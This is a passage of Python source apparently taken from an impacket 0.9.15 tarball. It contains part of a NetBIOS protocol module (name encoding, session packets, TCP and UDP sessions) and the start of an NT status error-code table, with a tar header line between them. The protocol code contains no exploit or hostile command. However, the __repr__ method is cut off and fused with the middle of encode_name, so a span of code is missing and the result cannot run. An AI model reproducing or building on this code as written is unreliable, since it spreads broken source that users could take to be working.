self.__nametype = nametype
self.__flags = flags
self.__isgroup = flags & 0x8000
self.__nodetype = flags & 0x6000
self.__deleting = flags & 0x1000
self.__isconflict = flags & 0x0800
self.__isactive = flags & 0x0400
self.__ispermanent = flags & 0x0200
def get_nbname(self):
return self.__nbname
def get_nametype(self):
return self.__nametype
def is_group(self):
return self.__isgroup
def get_nodetype(self):
return self.__nodetype
def is_deleting(self):
return self.__deleting
def is_conflict(self):
return self.__isconflict
def is_active(self):
return self.__isactive
def is_permanent(self):
return self.__ispermanent
def set_nbname(self, name):
self.__nbname = string.ljust(name,17)
def set_nametype(self, type):
self.__nametype = type
def set_flags(self,flags):
self.__flags = flags
def __repr__(self):
s = ' 15:
name = name[:15] + chr(type)
else:
name = string.ljust(name, 15) + chr(type)
encoded_name = chr(len(name) * 2) + re.sub('.', _do_first_level_encoding, name)
if scope:
encoded_scope = ''
for s in string.split(scope, '.'):
encoded_scope = encoded_scope + chr(len(s)) + s
return encoded_name + encoded_scope + '\0'
else:
return encoded_name + '\0'
# Internal method for use in encode_name()
def _do_first_level_encoding(m):
s = ord(m.group(0))
return string.uppercase[s >> 4] + string.uppercase[s & 0x0f]
def decode_name(name):
name_length = ord(name[0])
assert name_length == 32
decoded_name = re.sub('..', _do_first_level_decoding, name[1:33])
if name[33] == '\0':
return 34, decoded_name, ''
else:
decoded_domain = ''
offset = 34
while 1:
domain_length = ord(name[offset])
if domain_length == 0:
break
decoded_domain = '.' + name[offset:offset + domain_length]
offset += domain_length
return offset + 1, decoded_name, decoded_domain
def _do_first_level_decoding(m):
s = m.group(0)
return chr(((ord(s[0]) - ord('A')) << 4) | (ord(s[1]) - ord('A')))
class NetBIOSSessionPacket:
def __init__(self, data = 0):
self.type = 0x0
self.flags = 0x0
self.length = 0x0
if data == 0:
self._trailer = ''
else:
try:
self.type = ord(data[0])
if self.type == NETBIOS_SESSION_MESSAGE:
self.length = ord(data[1]) << 16 | (unpack('!H', data[2:4])[0])
else:
self.flags = ord(data[1])
self.length = unpack('!H', data[2:4])[0]
self._trailer = data[4:]
except:
raise NetBIOSError( 'Wrong packet format ' )
def set_type(self, type):
self.type = type
def get_type(self):
return self.type
def rawData(self):
if self.type == NETBIOS_SESSION_MESSAGE:
data = pack('!BBH',self.type,self.length >> 16,self.length & 0xFFFF) + self._trailer
else:
data = pack('!BBH',self.type,self.flags,self.length) + self._trailer
return data
def set_trailer(self,data):
self._trailer = data
self.length = len(data)
def get_length(self):
return self.length
def get_trailer(self):
return self._trailer
class NetBIOSSession:
def __init__(self, myname, remote_name, remote_host, remote_type = TYPE_SERVER, sess_port = NETBIOS_SESSION_PORT, timeout = None, local_type = TYPE_WORKSTATION, sock = None):
if len(myname) > 15:
self.__myname = string.upper(myname[:15])
else:
self.__myname = string.upper(myname)
self.__local_type = local_type
assert remote_name
# if destination port SMB_SESSION_PORT and remote name *SMBSERVER, we're changing it to its IP address
# helping solving the client mistake ;)
if remote_name == '*SMBSERVER' and sess_port == SMB_SESSION_PORT:
remote_name = remote_host
# If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best
if remote_name == '*SMBSERVER':
nb = NetBIOS()
try:
res = nb.getnetbiosname(remote_host)
except:
res = None
pass
if res is not None:
remote_name = res
if len(remote_name) > 15:
self.__remote_name = string.upper(remote_name[:15])
else:
self.__remote_name = string.upper(remote_name)
self.__remote_type = remote_type
self.__remote_host = remote_host
if sock is not None:
# We are acting as a server
self._sock = sock
else:
self._sock = self._setup_connection((remote_host, sess_port))
if sess_port == NETBIOS_SESSION_PORT:
self._request_session(remote_type, local_type, timeout)
def get_myname(self):
return self.__myname
def get_mytype(self):
return self.__local_type
def get_remote_host(self):
return self.__remote_host
def get_remote_name(self):
return self.__remote_name
def get_remote_type(self):
return self.__remote_type
def close(self):
self._sock.close()
def get_socket(self):
return self._sock
class NetBIOSUDPSessionPacket(Structure):
TYPE_DIRECT_UNIQUE = 16
TYPE_DIRECT_GROUP = 17
FLAGS_MORE_FRAGMENTS = 1
FLAGS_FIRST_FRAGMENT = 2
FLAGS_B_NODE = 0
structure = (
('Type','B=16'), # Direct Unique Datagram
('Flags','B=2'), # FLAGS_FIRST_FRAGMENT
('ID','L'),
('SourceIP','"'),
('SourcePort','>H=138'),
('DataLegth','>H-Data'),
('Offset','>H=0'),
('SourceName','z'),
('DestinationName','z'),
('Data',':'),
)
def getData(self):
addr = self['SourceIP'].split('.')
addr = [int(x) for x in addr]
addr = (((addr[0] << 8) + addr[1] << 8) + addr[2] << 8) + addr[3]
self['_SourceIP'] = addr
return Structure.getData(self)
def get_trailer(self):
return self['Data']
class NetBIOSUDPSession(NetBIOSSession):
def _setup_connection(self, peer):
af, socktype, proto, canonname, sa = socket.getaddrinfo(peer[0], peer[1], 0, socket.SOCK_DGRAM)[0]
sock = socket.socket(af, socktype, proto)
sock.connect(sa)
sock = socket.socket(af, socktype, proto)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((INADDR_ANY, 138))
self.peer = peer
return sock
def _request_session(self, remote_type, local_type, timeout = None):
pass
def next_id(self):
if hasattr(self, '__dgram_id'):
answer = self.__dgram_id
else:
self.__dgram_id = randint(1,65535)
answer = self.__dgram_id
self.__dgram_id += 1
return answer
def send_packet(self, data):
# Yes... I know...
self._sock.connect(self.peer)
p = NetBIOSUDPSessionPacket()
p['ID'] = self.next_id()
p['SourceIP'] = self._sock.getsockname()[0]
p['SourceName'] = encode_name(self.get_myname(), self.get_mytype(), '')[:-1]
p['DestinationName'] = encode_name(self.get_remote_name(), self.get_remote_type(), '')[:-1]
p['Data'] = data
self._sock.sendto(str(p), self.peer)
self._sock.close()
self._sock = self._setup_connection(self.peer)
def recv_packet(self, timeout = None):
# The next loop is a workaround for a bigger problem:
# When data reaches higher layers, the lower headers are lost,
# and with them, for example, the source IP. Hence, SMB users
# can't know where packets are comming from... we need a better
# solution, right now, we will filter everything except packets
# coming from the remote_host specified in __init__()
while 1:
data, peer = self._sock.recvfrom(8192)
# print "peer: %r self.peer: %r" % (peer, self.peer)
if peer == self.peer: break
return NetBIOSUDPSessionPacket(data)
class NetBIOSTCPSession(NetBIOSSession):
def __init__(self, myname, remote_name, remote_host, remote_type = TYPE_SERVER, sess_port = NETBIOS_SESSION_PORT, timeout = None, local_type = TYPE_WORKSTATION, sock = None, select_poll = False):
self.__select_poll = select_poll
if self.__select_poll:
self.read_function = self.polling_read
else:
self.read_function = self.non_polling_read
NetBIOSSession.__init__(self, myname, remote_name, remote_host, remote_type = remote_type, sess_port = sess_port, timeout = timeout, local_type = local_type, sock=sock)
def _setup_connection(self, peer):
try:
af, socktype, proto, canonname, sa = socket.getaddrinfo(peer[0], peer[1], 0, socket.SOCK_STREAM)[0]
sock = socket.socket(af, socktype, proto)
sock.connect(sa)
except socket.error, e:
raise socket.error("Connection error (%s:%s)" % (peer[0], peer[1]), e)
return sock
def send_packet(self, data):
p = NetBIOSSessionPacket()
p.set_type(NETBIOS_SESSION_MESSAGE)
p.set_trailer(data)
self._sock.send(p.rawData())
def recv_packet(self, timeout = None):
data = self.__read(timeout)
return NetBIOSSessionPacket(data)
def _request_session(self, remote_type, local_type, timeout = None):
p = NetBIOSSessionPacket()
remote_name = encode_name(self.get_remote_name(), remote_type, '')
myname = encode_name(self.get_myname(), local_type, '')
p.set_type(NETBIOS_SESSION_REQUEST)
p.set_trailer(remote_name + myname)
self._sock.send(p.rawData())
while 1:
p = self.recv_packet(timeout)
if p.get_type() == NETBIOS_SESSION_NEGATIVE_RESPONSE:
raise NetBIOSError, ( 'Cannot request session', ERRCLASS_SESSION, ord(p.get_trailer()[0]) )
elif p.get_type() == NETBIOS_SESSION_POSITIVE_RESPONSE:
break
else:
# Ignore all other messages, most probably keepalive messages
pass
def polling_read(self, read_length, timeout):
data = ''
if timeout is None:
timeout = 3600
time_left = timeout
CHUNK_TIME = 0.025
bytes_left = read_length
while bytes_left > 0:
try:
ready, _, _ = select.select([self._sock.fileno() ], [ ], [ ], 0)
if not ready:
if time_left <= 0:
raise NetBIOSTimeout
else:
time.sleep(CHUNK_TIME)
time_left -= CHUNK_TIME
continue
received = self._sock.recv(bytes_left)
if len(received) == 0:
raise NetBIOSError, ( 'Error while reading from remote', ERRCLASS_OS, None)
data = data + received
bytes_left = read_length - len(data)
except select.error, ex:
if ex[0] != errno.EINTR and ex[0] != errno.EAGAIN:
raise NetBIOSError, ( 'Error occurs while reading from remote', ERRCLASS_OS, ex[0] )
return data
def non_polling_read(self, read_length, timeout):
data = ''
bytes_left = read_length
while bytes_left > 0:
try:
ready, _, _ = select.select([self._sock.fileno() ], [ ], [ ], timeout)
if not ready:
raise NetBIOSTimeout
received = self._sock.recv(bytes_left)
if len(received) == 0:
raise NetBIOSError, ( 'Error while reading from remote', ERRCLASS_OS, None)
data = data + received
bytes_left = read_length - len(data)
except select.error, ex:
if ex[0] != errno.EINTR and ex[0] != errno.EAGAIN:
raise NetBIOSError, ( 'Error occurs while reading from remote', ERRCLASS_OS, ex[0] )
return data
def __read(self, timeout = None):
data = self.read_function(4, timeout)
type, flags, length = unpack('>ccH', data)
if ord(type) == NETBIOS_SESSION_MESSAGE:
length |= ord(flags) << 16
else:
if ord(flags) & 0x01:
length |= 0x10000
data2 = self.read_function(length, timeout)
return data + data2
ERRCLASS_QUERY = 0x00
ERRCLASS_SESSION = 0xf0
ERRCLASS_OS = 0xff
QUERY_ERRORS = { 0x01: 'Request format error. Please file a bug report.',
0x02: 'Internal server error',
0x03: 'Name does not exist',
0x04: 'Unsupported request',
0x05: 'Request refused'
}
SESSION_ERRORS = { 0x80: 'Not listening on called name',
0x81: 'Not listening for calling name',
0x82: 'Called name not present',
0x83: 'Sufficient resources',
0x8f: 'Unspecified error'
}
def main():
def get_netbios_host_by_name(name):
n = NetBIOS()
n.set_broadcastaddr('255.255.255.255') # To avoid use "" in socket
for qtype in (TYPE_WORKSTATION, TYPE_CLIENT, TYPE_SERVER, TYPE_DOMAIN_MASTER, TYPE_DOMAIN_CONTROLLER):
try:
addrs = n.gethostbyname(name, qtype = qtype).get_addr_entries()
except NetBIOSTimeout:
continue
else:
return addrs
raise Exception("Host not found")
n = get_netbios_host_by_name("some-host")
print n
if __name__ == '__main__':
main()
impacket-0.9.15/impacket/nt_errors.py 0000600 0000765 0000000 00001367163 12734531507 017656 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies)
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# NT STATUS Errors from [MS-ERREF]. Ideally all the files
# should grab the error codes from here (big ToDo)
#
ERROR_MESSAGES = {
0x00000000: ("STATUS_SUCCESS","The operation completed successfully."),
0x00000001: ("STATUS_WAIT_1","The caller specified WaitAny for WaitType and one of the dispatcher objects in the Object array has been set to the signaled state."),
0x00000002: ("STATUS_WAIT_2","The caller specified WaitAny for WaitType and one of the dispatcher objects in the Object array has been set to the signaled state."),
0x00000003: ("STATUS_WAIT_3","The caller specified WaitAny for WaitType and one of the dispatcher objects in the Object array has been set to the signaled state."),
0x0000003F: ("STATUS_WAIT_63","The caller specified WaitAny for WaitType and one of the dispatcher objects in the Object array has been set to the signaled state."),
0x00000080: ("STATUS_ABANDONED","The caller attempted to wait for a mutex that has been abandoned."),
0x00000080: ("STATUS_ABANDONED_WAIT_0","The caller attempted to wait for a mutex that has been abandoned."),
0x000000BF: ("STATUS_ABANDONED_WAIT_63","The caller attempted to wait for a mutex that has been abandoned."),
0x000000C0: ("STATUS_USER_APC","A user-mode APC was delivered before the given Interval expired."),
0x00000101: ("STATUS_ALERTED","The delay completed because the thread was alerted."),
0x00000102: ("STATUS_TIMEOUT","The given Timeout interval expired."),
0x00000103: ("STATUS_PENDING","The operation that was requested is pending completion."),
0x00000104: ("STATUS_REPARSE","A reparse should be performed by the Object Manager because the name of the file resulted in a symbolic link."),
0x00000105: ("STATUS_MORE_ENTRIES","Returned by enumeration APIs to indicate more information is available to successive calls."),
0x00000106: ("STATUS_NOT_ALL_ASSIGNED","Indicates not all privileges or groups that are referenced are assigned to the caller. This allows, for example, all privileges to be disabled without having to know exactly which privileges are assigned."),
0x00000107: ("STATUS_SOME_NOT_MAPPED","Some of the information to be translated has not been translated."),
0x00000108: ("STATUS_OPLOCK_BREAK_IN_PROGRESS","An open/create operation completed while an opportunistic lock (oplock) break is underway."),
0x00000109: ("STATUS_VOLUME_MOUNTED","A new volume has been mounted by a file system."),
0x0000010A: ("STATUS_RXACT_COMMITTED","This success level status indicates that the transaction state already exists for the registry subtree but that a transaction commit was previously aborted. The commit has now been completed."),
0x0000010B: ("STATUS_NOTIFY_CLEANUP","Indicates that a notify change request has been completed due to closing the handle that made the notify change request."),
0x0000010C: ("STATUS_NOTIFY_ENUM_DIR","Indicates that a notify change request is being completed and that the information is not being returned in the caller's buffer. The caller now needs to enumerate the files to find the changes."),
0x0000010D: ("STATUS_NO_QUOTAS_FOR_ACCOUNT","{No Quotas} No system quota limits are specifically set for this account."),
0x0000010E: ("STATUS_PRIMARY_TRANSPORT_CONNECT_FAILED","{Connect Failure on Primary Transport} An attempt was made to connect to the remote server %hs on the primary transport, but the connection failed. The computer WAS able to connect on a secondary transport."),
0x00000110: ("STATUS_PAGE_FAULT_TRANSITION","The page fault was a transition fault."),
0x00000111: ("STATUS_PAGE_FAULT_DEMAND_ZERO","The page fault was a demand zero fault."),
0x00000112: ("STATUS_PAGE_FAULT_COPY_ON_WRITE","The page fault was a demand zero fault."),
0x00000113: ("STATUS_PAGE_FAULT_GUARD_PAGE","The page fault was a demand zero fault."),
0x00000114: ("STATUS_PAGE_FAULT_PAGING_FILE","The page fault was satisfied by reading from a secondary storage device."),
0x00000115: ("STATUS_CACHE_PAGE_LOCKED","The cached page was locked during operation."),
0x00000116: ("STATUS_CRASH_DUMP","The crash dump exists in a paging file."),
0x00000117: ("STATUS_BUFFER_ALL_ZEROS","The specified buffer contains all zeros."),
0x00000118: ("STATUS_REPARSE_OBJECT","A reparse should be performed by the Object Manager because the name of the file resulted in a symbolic link."),
0x00000119: ("STATUS_RESOURCE_REQUIREMENTS_CHANGED","The device has succeeded a query-stop and its resource requirements have changed."),
0x00000120: ("STATUS_TRANSLATION_COMPLETE","The translator has translated these resources into the global space and no additional translations should be performed."),
0x00000121: ("STATUS_DS_MEMBERSHIP_EVALUATED_LOCALLY","The directory service evaluated group memberships locally, because it was unable to contact a global catalog server."),
0x00000122: ("STATUS_NOTHING_TO_TERMINATE","A process being terminated has no threads to terminate."),
0x00000123: ("STATUS_PROCESS_NOT_IN_JOB","The specified process is not part of a job."),
0x00000124: ("STATUS_PROCESS_IN_JOB","The specified process is part of a job."),
0x00000125: ("STATUS_VOLSNAP_HIBERNATE_READY","{Volume Shadow Copy Service} The system is now ready for hibernation."),
0x00000126: ("STATUS_FSFILTER_OP_COMPLETED_SUCCESSFULLY","A file system or file system filter driver has successfully completed an FsFilter operation."),
0x00000127: ("STATUS_INTERRUPT_VECTOR_ALREADY_CONNECTED","The specified interrupt vector was already connected."),
0x00000128: ("STATUS_INTERRUPT_STILL_CONNECTED","The specified interrupt vector is still connected."),
0x00000129: ("STATUS_PROCESS_CLONED","The current process is a cloned process."),
0x0000012A: ("STATUS_FILE_LOCKED_WITH_ONLY_READERS","The file was locked and all users of the file can only read."),
0x0000012B: ("STATUS_FILE_LOCKED_WITH_WRITERS","The file was locked and at least one user of the file can write."),
0x00000202: ("STATUS_RESOURCEMANAGER_READ_ONLY","The specified ResourceManager made no changes or updates to the resource under this transaction."),
0x00000367: ("STATUS_WAIT_FOR_OPLOCK","An operation is blocked and waiting for an oplock."),
0x00010001: ("DBG_EXCEPTION_HANDLED","Debugger handled the exception."),
0x00010002: ("DBG_CONTINUE","The debugger continued."),
0x001C0001: ("STATUS_FLT_IO_COMPLETE","The IO was completed by a filter."),
0xC0000467: ("STATUS_FILE_NOT_AVAILABLE","The file is temporarily unavailable."),
0xC0000721: ("STATUS_CALLBACK_RETURNED_THREAD_AFFINITY","A threadpool worker thread entered a callback at thread affinity %p and exited at affinity %p. This is unexpected, indicating that the callback missed restoring the priority."),
0x40000000: ("STATUS_OBJECT_NAME_EXISTS","{Object Exists} An attempt was made to create an object but the object name already exists."),
0x40000001: ("STATUS_THREAD_WAS_SUSPENDED","{Thread Suspended} A thread termination occurred while the thread was suspended. The thread resumed, and termination proceeded."),
0x40000002: ("STATUS_WORKING_SET_LIMIT_RANGE","{Working Set Range Error} An attempt was made to set the working set minimum or maximum to values that are outside the allowable range."),
0x40000003: ("STATUS_IMAGE_NOT_AT_BASE","{Image Relocated} An image file could not be mapped at the address that is specified in the image file. Local fixes must be performed on this image."),
0x40000004: ("STATUS_RXACT_STATE_CREATED","This informational level status indicates that a specified registry subtree transaction state did not yet exist and had to be created."),
0x40000005: ("STATUS_SEGMENT_NOTIFICATION","{Segment Load} A virtual DOS machine (VDM) is loading, unloading, or moving an MS-DOS or Win16 program segment image. An exception is raised so that a debugger can load, unload, or track symbols and breakpoints within these 16-bit segments."),
0x40000006: ("STATUS_LOCAL_USER_SESSION_KEY","{Local Session Key} A user session key was requested for a local remote procedure call (RPC) connection. The session key that is returned is a constant value and not unique to this connection."),
0x40000007: ("STATUS_BAD_CURRENT_DIRECTORY","{Invalid Current Directory} The process cannot switch to the startup current directory %hs. Select OK to set the current directory to %hs, or select CANCEL to exit."),
0x40000008: ("STATUS_SERIAL_MORE_WRITES","{Serial IOCTL Complete} A serial I/O operation was completed by another write to a serial port. (The IOCTL_SERIAL_XOFF_COUNTER reached zero.)"),
0x40000009: ("STATUS_REGISTRY_RECOVERED","{Registry Recovery} One of the files that contains the system registry data had to be recovered by using a log or alternate copy. The recovery was successful."),
0x4000000A: ("STATUS_FT_READ_RECOVERY_FROM_BACKUP","{Redundant Read} To satisfy a read request, the Windows NT fault-tolerant file system successfully read the requested data from a redundant copy. This was done because the file system encountered a failure on a member of the fault-tolerant volume but was unable to reassign the failing area of the device."),
0x4000000B: ("STATUS_FT_WRITE_RECOVERY","{Redundant Write} To satisfy a write request, the Windows NT fault-tolerant file system successfully wrote a redundant copy of the information. This was done because the file system encountered a failure on a member of the fault-tolerant volume but was unable to reassign the failing area of the device."),
0x4000000C: ("STATUS_SERIAL_COUNTER_TIMEOUT","{Serial IOCTL Timeout} A serial I/O operation completed because the time-out period expired. (The IOCTL_SERIAL_XOFF_COUNTER had not reached zero.)"),
0x4000000D: ("STATUS_NULL_LM_PASSWORD","{Password Too Complex} The Windows password is too complex to be converted to a LAN Manager password. The LAN Manager password that returned is a NULL string."),
0x4000000E: ("STATUS_IMAGE_MACHINE_TYPE_MISMATCH","{Machine Type Mismatch} The image file %hs is valid but is for a machine type other than the current machine. Select OK to continue, or CANCEL to fail the DLL load."),
0x4000000F: ("STATUS_RECEIVE_PARTIAL","{Partial Data Received} The network transport returned partial data to its client. The remaining data will be sent later."),
0x40000010: ("STATUS_RECEIVE_EXPEDITED","{Expedited Data Received} The network transport returned data to its client that was marked as expedited by the remote system."),
0x40000011: ("STATUS_RECEIVE_PARTIAL_EXPEDITED","{Partial Expedited Data Received} The network transport returned partial data to its client and this data was marked as expedited by the remote system. The remaining data will be sent later."),
0x40000012: ("STATUS_EVENT_DONE","{TDI Event Done} The TDI indication has completed successfully."),
0x40000013: ("STATUS_EVENT_PENDING","{TDI Event Pending} The TDI indication has entered the pending state."),
0x40000014: ("STATUS_CHECKING_FILE_SYSTEM","Checking file system on %wZ."),
0x40000015: ("STATUS_FATAL_APP_EXIT","{Fatal Application Exit} %hs"),
0x40000016: ("STATUS_PREDEFINED_HANDLE","The specified registry key is referenced by a predefined handle."),
0x40000017: ("STATUS_WAS_UNLOCKED","{Page Unlocked} The page protection of a locked page was changed to 'No Access' and the page was unlocked from memory and from the process."),
0x40000018: ("STATUS_SERVICE_NOTIFICATION","%hs"),
0x40000019: ("STATUS_WAS_LOCKED","{Page Locked} One of the pages to lock was already locked."),
0x4000001A: ("STATUS_LOG_HARD_ERROR","Application popup: %1 : %2"),
0x4000001B: ("STATUS_ALREADY_WIN32","A Win32 process already exists."),
0x4000001C: ("STATUS_WX86_UNSIMULATE","An exception status code that is used by the Win32 x86 emulation subsystem."),
0x4000001D: ("STATUS_WX86_CONTINUE","An exception status code that is used by the Win32 x86 emulation subsystem."),
0x4000001E: ("STATUS_WX86_SINGLE_STEP","An exception status code that is used by the Win32 x86 emulation subsystem."),
0x4000001F: ("STATUS_WX86_BREAKPOINT","An exception status code that is used by the Win32 x86 emulation subsystem."),
0x40000020: ("STATUS_WX86_EXCEPTION_CONTINUE","An exception status code that is used by the Win32 x86 emulation subsystem."),
0x40000021: ("STATUS_WX86_EXCEPTION_LASTCHANCE","An exception status code that is used by the Win32 x86 emulation subsystem."),
0x40000022: ("STATUS_WX86_EXCEPTION_CHAIN","An exception status code that is used by the Win32 x86 emulation subsystem."),
0x40000023: ("STATUS_IMAGE_MACHINE_TYPE_MISMATCH_EXE","{Machine Type Mismatch} The image file %hs is valid but is for a machine type other than the current machine."),
0x40000024: ("STATUS_NO_YIELD_PERFORMED","A yield execution was performed and no thread was available to run."),
0x40000025: ("STATUS_TIMER_RESUME_IGNORED","The resume flag to a timer API was ignored."),
0x40000026: ("STATUS_ARBITRATION_UNHANDLED","The arbiter has deferred arbitration of these resources to its parent."),
0x40000027: ("STATUS_CARDBUS_NOT_SUPPORTED","The device has detected a CardBus card in its slot."),
0x40000028: ("STATUS_WX86_CREATEWX86TIB","An exception status code that is used by the Win32 x86 emulation subsystem."),
0x40000029: ("STATUS_MP_PROCESSOR_MISMATCH","The CPUs in this multiprocessor system are not all the same revision level. To use all processors, the operating system restricts itself to the features of the least capable processor in the system. If problems occur with this system, contact the CPU manufacturer to see if this mix of processors is supported."),
0x4000002A: ("STATUS_HIBERNATED","The system was put into hibernation."),
0x4000002B: ("STATUS_RESUME_HIBERNATION","The system was resumed from hibernation."),
0x4000002C: ("STATUS_FIRMWARE_UPDATED","Windows has detected that the system firmware (BIOS) was updated [previous firmware date = %2, current firmware date %3]."),
0x4000002D: ("STATUS_DRIVERS_LEAKING_LOCKED_PAGES","A device driver is leaking locked I/O pages and is causing system degradation. The system has automatically enabled the tracking code to try and catch the culprit."),
0x4000002E: ("STATUS_MESSAGE_RETRIEVED","The ALPC message being canceled has already been retrieved from the queue on the other side."),
0x4000002F: ("STATUS_SYSTEM_POWERSTATE_TRANSITION","The system power state is transitioning from %2 to %3."),
0x40000030: ("STATUS_ALPC_CHECK_COMPLETION_LIST","The receive operation was successful. Check the ALPC completion list for the received message."),
0x40000031: ("STATUS_SYSTEM_POWERSTATE_COMPLEX_TRANSITION","The system power state is transitioning from %2 to %3 but could enter %4."),
0x40000032: ("STATUS_ACCESS_AUDIT_BY_POLICY","Access to %1 is monitored by policy rule %2."),
0x40000033: ("STATUS_ABANDON_HIBERFILE","A valid hibernation file has been invalidated and should be abandoned."),
0x40000034: ("STATUS_BIZRULES_NOT_ENABLED","Business rule scripts are disabled for the calling application."),
0x40000294: ("STATUS_WAKE_SYSTEM","The system has awoken."),
0x40000370: ("STATUS_DS_SHUTTING_DOWN","The directory service is shutting down."),
0x40010001: ("DBG_REPLY_LATER","Debugger will reply later."),
0x40010002: ("DBG_UNABLE_TO_PROVIDE_HANDLE","Debugger cannot provide a handle."),
0x40010003: ("DBG_TERMINATE_THREAD","Debugger terminated the thread."),
0x40010004: ("DBG_TERMINATE_PROCESS","Debugger terminated the process."),
0x40010005: ("DBG_CONTROL_C","Debugger obtained control of C."),
0x40010006: ("DBG_PRINTEXCEPTION_C","Debugger printed an exception on control C."),
0x40010007: ("DBG_RIPEXCEPTION","Debugger received a RIP exception."),
0x40010008: ("DBG_CONTROL_BREAK","Debugger received a control break."),
0x40010009: ("DBG_COMMAND_EXCEPTION","Debugger command communication exception."),
0x40020056: ("RPC_NT_UUID_LOCAL_ONLY","A UUID that is valid only on this computer has been allocated."),
0x400200AF: ("RPC_NT_SEND_INCOMPLETE","Some data remains to be sent in the request buffer."),
0x400A0004: ("STATUS_CTX_CDM_CONNECT","The Client Drive Mapping Service has connected on Terminal Connection."),
0x400A0005: ("STATUS_CTX_CDM_DISCONNECT","The Client Drive Mapping Service has disconnected on Terminal Connection."),
0x4015000D: ("STATUS_SXS_RELEASE_ACTIVATION_CONTEXT","A kernel mode component is releasing a reference on an activation context."),
0x40190034: ("STATUS_RECOVERY_NOT_NEEDED","The transactional resource manager is already consistent. Recovery is not needed."),
0x40190035: ("STATUS_RM_ALREADY_STARTED","The transactional resource manager has already been started."),
0x401A000C: ("STATUS_LOG_NO_RESTART","The log service encountered a log stream with no restart area."),
0x401B00EC: ("STATUS_VIDEO_DRIVER_DEBUG_REPORT_REQUEST","{Display Driver Recovered From Failure} The %hs display driver has detected a failure and recovered from it. Some graphical operations may have failed. The next time you restart the machine, a dialog box appears, giving you an opportunity to upload data about this failure to Microsoft."),
0x401E000A: ("STATUS_GRAPHICS_PARTIAL_DATA_POPULATED","The specified buffer is not big enough to contain the entire requested dataset. Partial data is populated up to the size of the buffer. The caller needs to provide a buffer of the size as specified in the partially populated buffer's content (interface specific)."),
0x401E0117: ("STATUS_GRAPHICS_DRIVER_MISMATCH","The kernel driver detected a version mismatch between it and the user mode driver."),
0x401E0307: ("STATUS_GRAPHICS_MODE_NOT_PINNED","No mode is pinned on the specified VidPN source/target."),
0x401E031E: ("STATUS_GRAPHICS_NO_PREFERRED_MODE","The specified mode set does not specify a preference for one of its modes."),
0x401E034B: ("STATUS_GRAPHICS_DATASET_IS_EMPTY","The specified dataset (for example, mode set, frequency range set, descriptor set, or topology) is empty."),
0x401E034C: ("STATUS_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET","The specified dataset (for example, mode set, frequency range set, descriptor set, or topology) does not contain any more elements."),
0x401E0351: ("STATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED","The specified content transformation is not pinned on the specified VidPN present path."),
0x401E042F: ("STATUS_GRAPHICS_UNKNOWN_CHILD_STATUS","The child device presence was not reliably detected."),
0x401E0437: ("STATUS_GRAPHICS_LEADLINK_START_DEFERRED","Starting the lead adapter in a linked configuration has been temporarily deferred."),
0x401E0439: ("STATUS_GRAPHICS_POLLING_TOO_FREQUENTLY","The display adapter is being polled for children too frequently at the same polling level."),
0x401E043A: ("STATUS_GRAPHICS_START_DEFERRED","Starting the adapter has been temporarily deferred."),
0x40230001: ("STATUS_NDIS_INDICATION_REQUIRED","The request will be completed later by an NDIS status indication."),
0x80000001: ("STATUS_GUARD_PAGE_VIOLATION","{EXCEPTION} Guard Page Exception A page of memory that marks the end of a data structure, such as a stack or an array, has been accessed."),
0x80000002: ("STATUS_DATATYPE_MISALIGNMENT","{EXCEPTION} Alignment Fault A data type misalignment was detected in a load or store instruction."),
0x80000003: ("STATUS_BREAKPOINT","{EXCEPTION} Breakpoint A breakpoint has been reached."),
0x80000004: ("STATUS_SINGLE_STEP","{EXCEPTION} Single Step A single step or trace operation has just been completed."),
0x80000005: ("STATUS_BUFFER_OVERFLOW","{Buffer Overflow} The data was too large to fit into the specified buffer."),
0x80000006: ("STATUS_NO_MORE_FILES","{No More Files} No more files were found which match the file specification."),
0x80000007: ("STATUS_WAKE_SYSTEM_DEBUGGER","{Kernel Debugger Awakened} The system debugger was awakened by an interrupt."),
0x8000000A: ("STATUS_HANDLES_CLOSED","{Handles Closed} Handles to objects have been automatically closed because of the requested operation."),
0x8000000B: ("STATUS_NO_INHERITANCE","{Non-Inheritable ACL} An access control list (ACL) contains no components that can be inherited."),
0x8000000C: ("STATUS_GUID_SUBSTITUTION_MADE","{GUID Substitution} During the translation of a globally unique identifier (GUID) to a Windows security ID (SID), no administratively defined GUID prefix was found. A substitute prefix was used, which will not compromise system security. However, this may provide a more restrictive access than intended."),
0x8000000D: ("STATUS_PARTIAL_COPY","Because of protection conflicts, not all the requested bytes could be copied."),
0x8000000E: ("STATUS_DEVICE_PAPER_EMPTY","{Out of Paper} The printer is out of paper."),
0x8000000F: ("STATUS_DEVICE_POWERED_OFF","{Device Power Is Off} The printer power has been turned off."),
0x80000010: ("STATUS_DEVICE_OFF_LINE","{Device Offline} The printer has been taken offline."),
0x80000011: ("STATUS_DEVICE_BUSY","{Device Busy} The device is currently busy."),
0x80000012: ("STATUS_NO_MORE_EAS","{No More EAs} No more extended attributes (EAs) were found for the file."),
0x80000013: ("STATUS_INVALID_EA_NAME","{Illegal EA} The specified extended attribute (EA) name contains at least one illegal character."),
0x80000014: ("STATUS_EA_LIST_INCONSISTENT","{Inconsistent EA List} The extended attribute (EA) list is inconsistent."),
0x80000015: ("STATUS_INVALID_EA_FLAG","{Invalid EA Flag} An invalid extended attribute (EA) flag was set."),
0x80000016: ("STATUS_VERIFY_REQUIRED","{Verifying Disk} The media has changed and a verify operation is in progress; therefore, no reads or writes may be performed to the device, except those that are used in the verify operation."),
0x80000017: ("STATUS_EXTRANEOUS_INFORMATION","{Too Much Information} The specified access control list (ACL) contained more information than was expected."),
0x80000018: ("STATUS_RXACT_COMMIT_NECESSARY","This warning level status indicates that the transaction state already exists for the registry subtree, but that a transaction commit was previously aborted. The commit has NOT been completed but has not been rolled back either; therefore, it may still be committed, if needed."),
0x8000001A: ("STATUS_NO_MORE_ENTRIES","{No More Entries} No more entries are available from an enumeration operation."),
0x8000001B: ("STATUS_FILEMARK_DETECTED","{Filemark Found} A filemark was detected."),
0x8000001C: ("STATUS_MEDIA_CHANGED","{Media Changed} The media may have changed."),
0x8000001D: ("STATUS_BUS_RESET","{I/O Bus Reset} An I/O bus reset was detected."),
